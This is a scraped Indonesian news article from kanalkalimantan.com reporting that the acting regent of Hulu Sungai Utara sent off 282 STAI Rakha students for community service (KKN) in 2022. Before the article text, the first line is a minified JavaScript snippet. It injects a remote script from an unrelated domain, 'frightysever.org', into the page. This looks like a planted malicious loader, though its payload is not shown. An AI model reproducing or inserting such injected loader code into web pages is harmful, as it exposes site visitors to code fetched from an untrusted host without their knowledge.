(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 282 mahasiswa dilepas Pelaksana Tugas (Plt) Bupati Hulu Sungai Utara (HSU) Husairi Abdi untuk mengikuti Kuliah Kerja Nyata (KKN) tahun 2022 Sekolah Tinggi Agama Islam (STAI) Rasyidiyah Khalidiyah (Rakha).
Pelepasan digelar di halaman Pondok Pesantren Rakha, Rabu (2/3/2022). Rencananya para mahasiswa diterjunkan di dua Kecamatan Babirik dan Kecamatan Danau Panggang di 27 desa.
Peserta KKN terdiri dari Fakultas Pendidikan Agama Islam (PAI) 182 orang, Ahwal Al Syakhsiyyah (AS) 76 orang, dan Tadris Bahasa Inggris (TBI) 24 orang.
Plt Bupati HSU Husairi Abdi berpesan agar kegiatan KKN ini dijadikan momentum yang lebih mendalam akan misi yang diemban para mahasiswa dalam rangka melaksanakan Tri Dharma Perguruan Tinggi, yaitu pengabdian kepada masyarakat.
Baca juga : Pertama di Luar Pengadilan Agama Banjarbaru, Tiga Pasangan Sidang Itsbat Nikah Terpadu
Menurutnya, hal itu penting dilakukan agar para mahasiswa dapat memiliki pengalaman di lapangan pada saat berinteraksi dan bersosialisasi dengan masyarakat, mampu mendalami dan mengenali kebutuhan dan masalah yang dihadapi oleh masyarakat, serta berusaha untuk mencari solusinya.
“Yang terpenting adalah mampu menjadi contoh dan teladan bagi masyarakat setempat dalam kehidupan sosial dan kehidupan keagamaan,” imbuh Husairi.
Plt Bupati HSU berharap dengan adanya mahasiswa KKN ini dapat membantu pelaksanaan pembangunan program-program pemerintah, sebagaimana fungsi sebagai mahasiswa yaitu agen perubahan.
Sementara itu, Ketua STAI Rakha, Helmiannor mengatakan, KKN merupakan kegiatan proses pembelajaran di kampus dalam bentuk pengabdian kepada masyarakat menumbuhkan empati dan kepedulian mahasiswa pada permasalahan masyarakat.
Baca juga : Loka POM HSU Pastikan Semua Vaksin Aman
“Kuliah Kerja Nyata (KKN) merupakan upaya pengembangan keterampilan yang dimiliki oleh mahasiswa yang harus diaplikasikan dalam kehidupan di tengah masyarakat,” kata Helmiannor.
Dewan Pengurus Yayasan Ponpes Rakha, Barkatullah Amin mengatakan, KKN disamping merupakan persyaratan untuk kelulusan dalam perkuliahan, tetapi juga merupakan kesempatan dalam mengembangkan ilmu pengetahuan yang telah diperoleh selama perkuliahan untuk diaplikasikan di tengah masyarakat.
“KKN juga merupakan sarana pendewasaan bagi mahasiswa. Pendewasaan yang dimaksut adalah adanya perubahan pola pikir mahasiswa yang lebih dewasa yang penuh dengan ide yang inovatif,” ujarnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.